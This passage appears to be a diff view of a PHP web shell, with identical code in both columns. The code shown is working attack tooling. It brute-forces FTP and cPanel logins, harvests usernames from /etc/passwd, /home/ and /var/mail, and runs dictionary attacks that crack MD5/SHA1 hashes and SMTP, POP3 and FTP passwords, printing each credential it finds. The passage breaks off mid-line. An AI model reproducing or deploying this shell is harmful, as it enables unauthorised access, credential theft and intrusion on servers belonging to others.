| 6361 | $passlist=explode("\n",$pass); | 6361 | $passlist=explode("\n",$pass); |
| 6362 | print "<b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#008000\">[~]#</font><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#FF0000\"> | 6362 | print "<b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#008000\">[~]#</font><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#FF0000\"> |
| 6363 | LETS GAME BEGIN ;) ...</font></b><br><br>"; | 6363 | LETS GAME BEGIN ;) ...</font></b><br><br>"; |
| 6364 | 6364 | ||
| 6365 | if(isset($_POST['connect_timeout'])) | 6365 | if(isset($_POST['connect_timeout'])) |
| 6366 | { | 6366 | { |
| 6367 | $connect_timeout=$_POST['connect_timeout']; | 6367 | $connect_timeout=$_POST['connect_timeout']; |
| 6368 | } | 6368 | } |
| 6369 | 6369 | ||
| 6370 | if($cracktype == "ftp") | 6370 | if($cracktype == "ftp") |
| 6371 | { | 6371 | { |
| 6372 | foreach ($userlist as $user) | 6372 | foreach ($userlist as $user) |
| 6373 | { | 6373 | { |
| 6374 | $pureuser = trim($user); | 6374 | $pureuser = trim($user); |
| 6375 | foreach ($passlist as $password ) | 6375 | foreach ($passlist as $password ) |
| 6376 | { | 6376 | { |
| 6377 | $purepass = trim($password); | 6377 | $purepass = trim($password); |
| 6378 | ftp_check($target,$pureuser,$purepass,$connect_timeout); | 6378 | ftp_check($target,$pureuser,$purepass,$connect_timeout); |
| 6379 | } | 6379 | } |
| 6380 | } | 6380 | } |
| 6381 | } | 6381 | } |
| 6382 | 6382 | ||
| 6383 | if ($cracktype == "cpanel" || $cracktype == "cpanel2") | 6383 | if ($cracktype == "cpanel" || $cracktype == "cpanel2") |
| 6384 | { | 6384 | { |
| 6385 | if($cracktype == "cpanel2") | 6385 | if($cracktype == "cpanel2") |
| 6386 | { | 6386 | { |
| 6387 | $cpanel_port="23"; | 6387 | $cpanel_port="23"; |
| 6388 | } | 6388 | } |
| 6389 | else | 6389 | else |
| 6390 | $cpanel_port="2082"; | 6390 | $cpanel_port="2082"; |
| 6391 | 6391 | ||
| 6392 | foreach ($userlist as $user) | 6392 | foreach ($userlist as $user) |
| 6393 | { | 6393 | { |
| 6394 | $pureuser = trim($user); | 6394 | $pureuser = trim($user); |
| 6395 | print "<b><font face=\"Comic Sans MS\" style=\"font-size: 11pt\" color=\"#008000\">[~]#</font><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#FF0800\"> | 6395 | print "<b><font face=\"Comic Sans MS\" style=\"font-size: 11pt\" color=\"#008000\">[~]#</font><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#FF0800\"> |
| 6396 | Please put some good password to crack user $pureuser :( ... </font></b>"; | 6396 | Please put some good password to crack user $pureuser :( ... </font></b>"; |
| 6397 | if($_POST['bruteforce']=="true") | 6397 | if($_POST['bruteforce']=="true") |
| 6398 | { | 6398 | { |
| 6399 | echo " bruteforcing .."; | 6399 | echo " bruteforcing .."; |
| 6400 | echo "<br>"; | 6400 | echo "<br>"; |
| 6401 | brute(); | 6401 | brute(); |
| 6402 | } | 6402 | } |
| 6403 | else | 6403 | else |
| 6404 | { | 6404 | { |
| 6405 | echo "<br>"; | 6405 | echo "<br>"; |
| 6406 | foreach ($passlist as $password ) | 6406 | foreach ($passlist as $password ) |
| 6407 | { | 6407 | { |
| 6408 | $purepass = trim($password); | 6408 | $purepass = trim($password); |
| 6409 | cpanel_check($target,$pureuser,$purepass,$connect_timeout); | 6409 | cpanel_check($target,$pureuser,$purepass,$connect_timeout); |
| 6410 | } | 6410 | } |
| 6411 | } | 6411 | } |
| 6412 | } | 6412 | } |
| 6413 | $time_end = getmicrotime(); | 6413 | $time_end = getmicrotime(); |
| 6414 | $time = $time_end - $time_start; | 6414 | $time = $time_end - $time_start; |
| 6415 | print "<b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#008000\">[~]#</font><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#FF0000\"> | 6415 | print "<b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#008000\">[~]#</font><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#FF0000\"> |
| 6416 | Cracking Finished. Elapsed time: $time</font> seconds</b><br><br>"; | 6416 | Cracking Finished. Elapsed time: $time</font> seconds</b><br><br>"; |
| 6417 | } | 6417 | } |
| 6418 | } | 6418 | } |
| 6419 | 6419 | ||
| 6420 | 6420 | ||
| 6421 | 6421 | ||
| 6422 | ?> | 6422 | ?> |
| 6423 | 6423 | ||
| 6424 | <table border="1" width="67%" bordercolorlight="#008000" bordercolordark="#006A00" > | 6424 | <table border="1" width="67%" bordercolorlight="#008000" bordercolordark="#006A00" > |
| 6425 | <tr> | 6425 | <tr> |
| 6426 | <td> | 6426 | <td> |
| 6427 | <textarea style="border: 2px solid #1D1D1D;background: #200000;color:#CCFFFF" method='POST' rows="20" name="S1" cols="173"> | 6427 | <textarea style="border: 2px solid #1D1D1D;background: #200000;color:#CCFFFF" method='POST' rows="20" name="S1" cols="173"> |
| 6428 | <?php | 6428 | <?php |
| 6429 | if (isset($_GET['user'])) | 6429 | if (isset($_GET['user'])) |
| 6430 | system('ls /var/mail'); | 6430 | system('ls /var/mail'); |
| 6431 | if (isset($_POST['grab_users1'])) //grab users from /etc/passwd | 6431 | if (isset($_POST['grab_users1'])) //grab users from /etc/passwd |
| 6432 | { | 6432 | { |
| 6433 | $lines=file("/etc/passwd"); | 6433 | $lines=file("/etc/passwd"); |
| 6434 | foreach($lines as $nr=>$val) | 6434 | foreach($lines as $nr=>$val) |
| 6435 | { | 6435 | { |
| 6436 | $str=explode(":",$val); | 6436 | $str=explode(":",$val); |
| 6437 | echo $str[0]."\n"; | 6437 | echo $str[0]."\n"; |
| 6438 | } | 6438 | } |
| 6439 | 6439 | ||
| 6440 | } | 6440 | } |
| 6441 | if (isset($_POST['grab_users2'])) | 6441 | if (isset($_POST['grab_users2'])) |
| 6442 | { | 6442 | { |
| 6443 | $dir = "/home/"; | 6443 | $dir = "/home/"; |
| 6444 | if ($dh = opendir($dir)) { | 6444 | if ($dh = opendir($dir)) { |
| 6445 | while (($file = readdir($dh)) !== false) { | 6445 | while (($file = readdir($dh)) !== false) { |
| 6446 | echo $file. "\n"; | 6446 | echo $file. "\n"; |
| 6447 | } | 6447 | } |
| 6448 | closedir($dh); | 6448 | closedir($dh); |
| 6449 | } | 6449 | } |
| 6450 | } | 6450 | } |
| 6451 | ?> | 6451 | ?> |
| 6452 | </textarea> | 6452 | </textarea> |
| 6453 | </td> | 6453 | </td> |
| 6454 | </tr> | 6454 | </tr> |
| 6455 | <tr> | 6455 | <tr> |
| 6456 | <td valign="top"><p align="center"> | 6456 | <td valign="top"><p align="center"> |
| 6457 | <table> | 6457 | <table> |
| 6458 | <tr > | 6458 | <tr > |
| 6459 | <td> | 6459 | <td> |
| 6460 | <form action="" method="POST"> | 6460 | <form action="" method="POST"> |
| 6461 | <input type="hidden" value="true" name="grab_users1"></input> | 6461 | <input type="hidden" value="true" name="grab_users1"></input> |
| 6462 | <input type=submit value="Grab Usernames from /etc/passwd" width="217px"></input> | 6462 | <input type=submit value="Grab Usernames from /etc/passwd" width="217px"></input> |
| 6463 | </form> | 6463 | </form> |
| 6464 | </td> | 6464 | </td> |
| 6465 | 6465 | ||
| 6466 | <td> | 6466 | <td> |
| 6467 | <form action="" method="POST"> | 6467 | <form action="" method="POST"> |
| 6468 | <input type="hidden" value="true" name="grab_users2" ></input> | 6468 | <input type="hidden" value="true" name="grab_users2" ></input> |
| 6469 | <input style="width: 217px;" type=submit value="Grab Usernames from /home/" ></input> | 6469 | <input style="width: 217px;" type=submit value="Grab Usernames from /home/" ></input> |
| 6470 | </form> | 6470 | </form> |
| 6471 | </td> | 6471 | </td> |
| 6472 | <td> | 6472 | <td> |
| 6473 | <form action="" method="POST"> | 6473 | <form action="" method="POST"> |
| 6474 | <input type="hidden" value="true" name="grab_users3"></input> | 6474 | <input type="hidden" value="true" name="grab_users3"></input> |
| 6475 | <input style="width: 217px;" type=submit value="Grab Usernames from /home/ II"></input> | 6475 | <input style="width: 217px;" type=submit value="Grab Usernames from /home/ II"></input> |
| 6476 | </form> | 6476 | </form> |
| 6477 | </td> | 6477 | </td> |
| 6478 | </tr> | 6478 | </tr> |
| 6479 | </table></p> | 6479 | </table></p> |
| 6480 | </td> | 6480 | </td> |
| 6481 | </tr> | 6481 | </tr> |
| 6482 | </table> | 6482 | </table> |
| 6483 | <?php | 6483 | <?php |
| 6484 | if (isset($_POST['grab_users3'])) | 6484 | if (isset($_POST['grab_users3'])) |
| 6485 | { | 6485 | { |
| 6486 | error_reporting(0); | 6486 | error_reporting(0); |
| 6487 | $dir = "/home/"; | 6487 | $dir = "/home/"; |
| 6488 | if ($dh = opendir($dir)) | 6488 | if ($dh = opendir($dir)) |
| 6489 | { | 6489 | { |
| 6490 | $f = readdir($dh);$f = readdir($dh); | 6490 | $f = readdir($dh);$f = readdir($dh); |
| 6491 | while (($f = readdir($dh)) !== false) | 6491 | while (($f = readdir($dh)) !== false) |
| 6492 | { | 6492 | { |
| 6493 | //echo $f. "\n"; | 6493 | //echo $f. "\n"; |
| 6494 | $f.="/"; | 6494 | $f.="/"; |
| 6495 | $dh2=opendir($dir.$f); | 6495 | $dh2=opendir($dir.$f); |
| 6496 | $f2 = readdir($dh2);$f2 = readdir($dh2); | 6496 | $f2 = readdir($dh2);$f2 = readdir($dh2); |
| 6497 | while (($f2 = readdir($dh2)) !== false) | 6497 | while (($f2 = readdir($dh2)) !== false) |
| 6498 | { | 6498 | { |
| 6499 | //echo $f2. "\n"; | 6499 | //echo $f2. "\n"; |
| 6500 | $f2.="/"; | 6500 | $f2.="/"; |
| 6501 | $dh3=opendir($dir.$f.$f2); | 6501 | $dh3=opendir($dir.$f.$f2); |
| 6502 | $f3 = readdir($dh3);$f3 = readdir($dh3); | 6502 | $f3 = readdir($dh3);$f3 = readdir($dh3); |
| 6503 | while (($f3 = readdir($dh3)) !== false) | 6503 | while (($f3 = readdir($dh3)) !== false) |
| 6504 | { | 6504 | { |
| 6505 | echo $f3. "<br>"; | 6505 | echo $f3. "<br>"; |
| 6506 | } | 6506 | } |
| 6507 | } | 6507 | } |
| 6508 | 6508 | ||
| 6509 | } | 6509 | } |
| 6510 | closedir($dh); | 6510 | closedir($dh); |
| 6511 | } | 6511 | } |
| 6512 | } | 6512 | } |
| 6513 | ?> | 6513 | ?> |
| 6514 | 6514 | ||
| 6515 | 6515 | ||
| 6516 | </div> | 6516 | </div> |
| 6517 | 6517 | ||
| 6518 | <?php | 6518 | <?php |
| 6519 | } | 6519 | } |
| 6520 | 6520 | ||
| 6521 | if ($act == "hash") | 6521 | if ($act == "hash") |
| 6522 | { | 6522 | { |
| 6523 | global $errorbox,$t,$et,$hcwd; | 6523 | global $errorbox,$t,$et,$hcwd; |
| 6524 | if (!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){ | 6524 | if (!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){ |
| 6525 | $dictionary=fopen($_REQUEST['dictionary'],'r'); | 6525 | $dictionary=fopen($_REQUEST['dictionary'],'r'); |
| 6526 | if ($dictionary){ | 6526 | if ($dictionary){ |
| 6527 | $hash=strtoupper($_REQUEST['hash']); | 6527 | $hash=strtoupper($_REQUEST['hash']); |
| 6528 | echo "<font color=blue>Cracking " . htmlspecialchars($hash)."...<br>";flusheR(); | 6528 | echo "<font color=blue>Cracking " . htmlspecialchars($hash)."...<br>";flusheR(); |
| 6529 | $type=($_REQUEST['type']=='MD5')?'md5':'sha1'; | 6529 | $type=($_REQUEST['type']=='MD5')?'md5':'sha1'; |
| 6530 | while(!feof($dictionary)){ | 6530 | while(!feof($dictionary)){ |
| 6531 | $word=trim(fgets($dictionary)," \n\r"); | 6531 | $word=trim(fgets($dictionary)," \n\r"); |
| 6532 | if ($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";break;} | 6532 | if ($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";break;} |
| 6533 | } | 6533 | } |
| 6534 | echo "Done!</font>"; | 6534 | echo "Done!</font>"; |
| 6535 | fclose($dictionary); | 6535 | fclose($dictionary); |
| 6536 | } | 6536 | } |
| 6537 | else{ | 6537 | else{ |
| 6538 | echo "$errorbox Can not open dictionary.$et"; | 6538 | echo "$errorbox Can not open dictionary.$et"; |
| 6539 | } | 6539 | } |
| 6540 | } | 6540 | } |
| 6541 | echo "<center><table width=\"30%\">Hash cracker:</td><td ></td></tr><form method=\"POST\"><tr><td width=\"30%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\" ><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Hash:</td><td bgcolor=\"#808080\"><input type=text name=hash size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Type:</td><td bgcolor=\"#666666\"><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></table></center>"; | 6541 | echo "<center><table width=\"30%\">Hash cracker:</td><td ></td></tr><form method=\"POST\"><tr><td width=\"30%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\" ><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Hash:</td><td bgcolor=\"#808080\"><input type=text name=hash size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Type:</td><td bgcolor=\"#666666\"><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></table></center>"; |
| 6542 | echo $eval_php_code; | 6542 | echo $eval_php_code; |
| 6543 | } | 6543 | } |
| 6544 | 6544 | ||
| 6545 | if ($act == "smtp") | 6545 | if ($act == "smtp") |
| 6546 | { | 6546 | { |
| 6547 | global $t,$et,$errorbox,$crack; | 6547 | global $t,$et,$errorbox,$crack; |
| 6548 | if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ | 6548 | if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ |
| 6549 | $target=$_REQUEST['target']; | 6549 | $target=$_REQUEST['target']; |
| 6550 | $type=$_REQUEST['combo']; | 6550 | $type=$_REQUEST['combo']; |
| 6551 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; | 6551 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; |
| 6552 | $dictionary=fopen($_REQUEST['dictionary'],'r'); | 6552 | $dictionary=fopen($_REQUEST['dictionary'],'r'); |
| 6553 | if ($dictionary){ | 6553 | if ($dictionary){ |
| 6554 | echo "<font color=yellow>Cracking ".htmlspecialchars($target)."...<br/>";flusheR(); | 6554 | echo "<font color=yellow>Cracking ".htmlspecialchars($target)."...<br/>";flusheR(); |
| 6555 | while(!feof($dictionary)){ | 6555 | while(!feof($dictionary)){ |
| 6556 | if($type){ | 6556 | if($type){ |
| 6557 | $combo=trim(fgets($dictionary)," \n\r"); | 6557 | $combo=trim(fgets($dictionary)," \n\r"); |
| 6558 | $user=substr($combo,0,strpos($combo,':')); | 6558 | $user=substr($combo,0,strpos($combo,':')); |
| 6559 | $pass=substr($combo,strpos($combo,':')+1); | 6559 | $pass=substr($combo,strpos($combo,':')+1); |
| 6560 | }else{ | 6560 | }else{ |
| 6561 | $pass=trim(fgets($dictionary)," \n\r"); | 6561 | $pass=trim(fgets($dictionary)," \n\r"); |
| 6562 | } | 6562 | } |
| 6563 | $smtp=smtplogiN($target,$user,$pass,5); | 6563 | $smtp=smtplogiN($target,$user,$pass,5); |
| 6564 | if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{ | 6564 | if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{ |
| 6565 | if ($smtp){echo "U: $user P: $pass<br/>";if(!$type)break;}} | 6565 | if ($smtp){echo "U: $user P: $pass<br/>";if(!$type)break;}} |
| 6566 | flusheR(); | 6566 | flusheR(); |
| 6567 | } | 6567 | } |
| 6568 | echo "<br>Done</font>"; | 6568 | echo "<br>Done</font>"; |
| 6569 | fclose($dictionary); | 6569 | fclose($dictionary); |
| 6570 | } | 6570 | } |
| 6571 | else{ | 6571 | else{ |
| 6572 | echo "$errorbox Can not open dictionary.$et"; | 6572 | echo "$errorbox Can not open dictionary.$et"; |
| 6573 | } | 6573 | } |
| 6574 | }else | 6574 | }else |
| 6575 | { | 6575 | { |
| 6576 | echo "<center>SMTP cracker:$crack"; | 6576 | echo "<center>SMTP cracker:$crack"; |
| 6577 | } | 6577 | } |
| 6578 | 6578 | ||
| 6579 | echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#333333\">SMTP cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\" name=form action=\"\"><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>"; | 6579 | echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#333333\">SMTP cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\" name=form action=\"\"><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>"; |
| 6580 | 6580 | ||
| 6581 | 6581 | ||
| 6582 | } | 6582 | } |
| 6583 | 6583 | ||
| 6584 | if ($act == "pop3") | 6584 | if ($act == "pop3") |
| 6585 | { | 6585 | { |
| 6586 | 6586 | ||
| 6587 | global $t,$et,$errorbox,$crack; | 6587 | global $t,$et,$errorbox,$crack; |
| 6588 | if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ | 6588 | if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ |
| 6589 | $target=$_REQUEST['target']; | 6589 | $target=$_REQUEST['target']; |
| 6590 | $type=$_REQUEST['combo']; | 6590 | $type=$_REQUEST['combo']; |
| 6591 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; | 6591 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; |
| 6592 | $dictionary=fopen($_REQUEST['dictionary'],'r'); | 6592 | $dictionary=fopen($_REQUEST['dictionary'],'r'); |
| 6593 | if ($dictionary){ | 6593 | if ($dictionary){ |
| 6594 | echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); | 6594 | echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); |
| 6595 | while(!feof($dictionary)){ | 6595 | while(!feof($dictionary)){ |
| 6596 | if($type){ | 6596 | if($type){ |
| 6597 | $combo=trim(fgets($dictionary)," \n\r"); | 6597 | $combo=trim(fgets($dictionary)," \n\r"); |
| 6598 | $user=substr($combo,0,strpos($combo,':')); | 6598 | $user=substr($combo,0,strpos($combo,':')); |
| 6599 | $pass=substr($combo,strpos($combo,':')+1); | 6599 | $pass=substr($combo,strpos($combo,':')+1); |
| 6600 | }else{ | 6600 | }else{ |
| 6601 | $pass=trim(fgets($dictionary)," \n\r"); | 6601 | $pass=trim(fgets($dictionary)," \n\r"); |
| 6602 | } | 6602 | } |
| 6603 | $pop3=pop3logiN($target,$user,$pass); | 6603 | $pop3=pop3logiN($target,$user,$pass); |
| 6604 | if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{ | 6604 | if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{ |
| 6605 | if ($pop3){echo "U: $user P: $pass<br>";if(!$type)break;}} | 6605 | if ($pop3){echo "U: $user P: $pass<br>";if(!$type)break;}} |
| 6606 | flusheR(); | 6606 | flusheR(); |
| 6607 | } | 6607 | } |
| 6608 | echo "<br>Done</font>"; | 6608 | echo "<br>Done</font>"; |
| 6609 | fclose($dictionary); | 6609 | fclose($dictionary); |
| 6610 | } | 6610 | } |
| 6611 | else{ | 6611 | else{ |
| 6612 | echo "$errorbox Can not open dictionary.$et"; | 6612 | echo "$errorbox Can not open dictionary.$et"; |
| 6613 | } | 6613 | } |
| 6614 | }else | 6614 | }else |
| 6615 | { echo "<center>POP3 cracker:$crack</center>"; | 6615 | { echo "<center>POP3 cracker:$crack</center>"; |
| 6616 | } | 6616 | } |
| 6617 | echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#333333\">POP3 cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\" name=form action=\"\"><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>"; | 6617 | echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#333333\">POP3 cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\" name=form action=\"\"><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>"; |
| 6618 | 6618 | ||
| 6619 | } | 6619 | } |
| 6620 | if ($act == "ftp") | 6620 | if ($act == "ftp") |
| 6621 | { | 6621 | { |
| 6622 | global $errorbox,$t,$et,$crack; | 6622 | global $errorbox,$t,$et,$crack; |
| 6623 | if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et"; | 6623 | if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et"; |
| 6624 | else{ | 6624 | else{ |
| 6625 | if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ | 6625 | if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ |
| 6626 | $target=$_REQUEST['target']; | 6626 | $target=$_REQUEST['target']; |
| 6627 | $type=$_REQUEST['combo']; | 6627 | $type=$_REQUEST['combo']; |
| 6628 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; | 6628 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; |
| 6629 | $dictionary=fopen($_REQUEST['dictionary'],'r'); | 6629 | $dictionary=fopen($_REQUEST['dictionary'],'r'); |
| 6630 | if ($dictionary){ | 6630 | if ($dictionary){ |
| 6631 | echo "<font color=yellow>Cracking ".htmlspecialchars($target)."...<br>"; | 6631 | echo "<font color=yellow>Cracking ".htmlspecialchars($target)."...<br>"; |
| 6632 | while(!feof($dictionary)){ | 6632 | while(!feof($dictionary)){ |
| 6633 | if($type){ | 6633 | if($type){ |
| 6634 | $combo=trim(fgets($dictionary)," \n\r"); | 6634 | $combo=trim(fgets($dictionary)," \n\r"); |
| 6635 | $user=substr($combo,0,strpos($combo,':')); | 6635 | $user=substr($combo,0,strpos($combo,':')); |
| 6636 | $pass=substr($combo,strpos($combo,':')+1); | 6636 | $pass=substr($combo,strpos($combo,':')+1); |
| 6637 | }else{ | 6637 | }else{ |
| 6638 | $pass=trim(fgets($dictionary)," \n\r"); | 6638 | $pass=trim(fgets($dictionary)," \n\r"); |
| 6639 | } | 6639 | } |
| 6640 | if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;} | 6640 | if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;} |
| 6641 | if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass<br>";if(!$type)break;} | 6641 | if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass<br>";if(!$type)break;} |
| 6642 | ftp_close($ftp); | 6642 | ftp_close($ftp); |
| 6643 | flusheR(); | 6643 | flusheR(); |
| 6644 | } | 6644 | } |
| 6645 | echo "<br>Done</font>"; | 6645 | echo "<br>Done</font>"; |
| 6646 | fclose($dictionary); | 6646 | fclose($dictionary); |
| 6647 | } | 6647 | } |
| 6648 | else{ | 6648 | else{ |
| 6649 | echo "$errorbox Can not open dictionary.$et"; | 6649 | echo "$errorbox Can not open dictionary.$et"; |
| 6650 | } | 6650 | } |
| 6651 | } | 6651 | } |
| 6652 | else | 6652 | else |
| 6653 | { | 6653 | { |
| 6654 | echo "<center>FTP cracker:$crack</center>"; | 6654 | echo "<center>FTP cracker:$crack</center>"; |
| 6655 | } | 6655 | } |
| 6656 | echo "<center><table border=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tbody><form method=\"POST\" name=\"form\" action=\"\"><tr><td width=\"40%\" bgcolor=\"#333333\">FTP cracker:</td><td bgcolor=\"#333333\"></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=\"text\" name=\"dictionary\" size=\"35\"></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=\"radio\" name=\"combo\" checked=\"\" value=\"0\" onclick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=\"radio\" value=\"1\" name=\"combo\" onclick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=\"text\" size=\"35\" value=\"root\" name=\"user\"></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=\"text\" name=\"target\" value=\"localhost\" size=\"35\"></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=\"right\"><input class=\"buttons\" type=\"submit\" value=\"Start\"></td></tr></form></tbody></table></center>"; | 6656 | echo "<center><table border=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tbody><form method=\"POST\" name=\"form\" action=\"\"><tr><td width=\"40%\" bgcolor=\"#333333\">FTP cracker:</td><td bgcolor=\"#333333\"></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=\"text\" name=\"dictionary\" size=\"35\"></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=\"radio\" name=\"combo\" 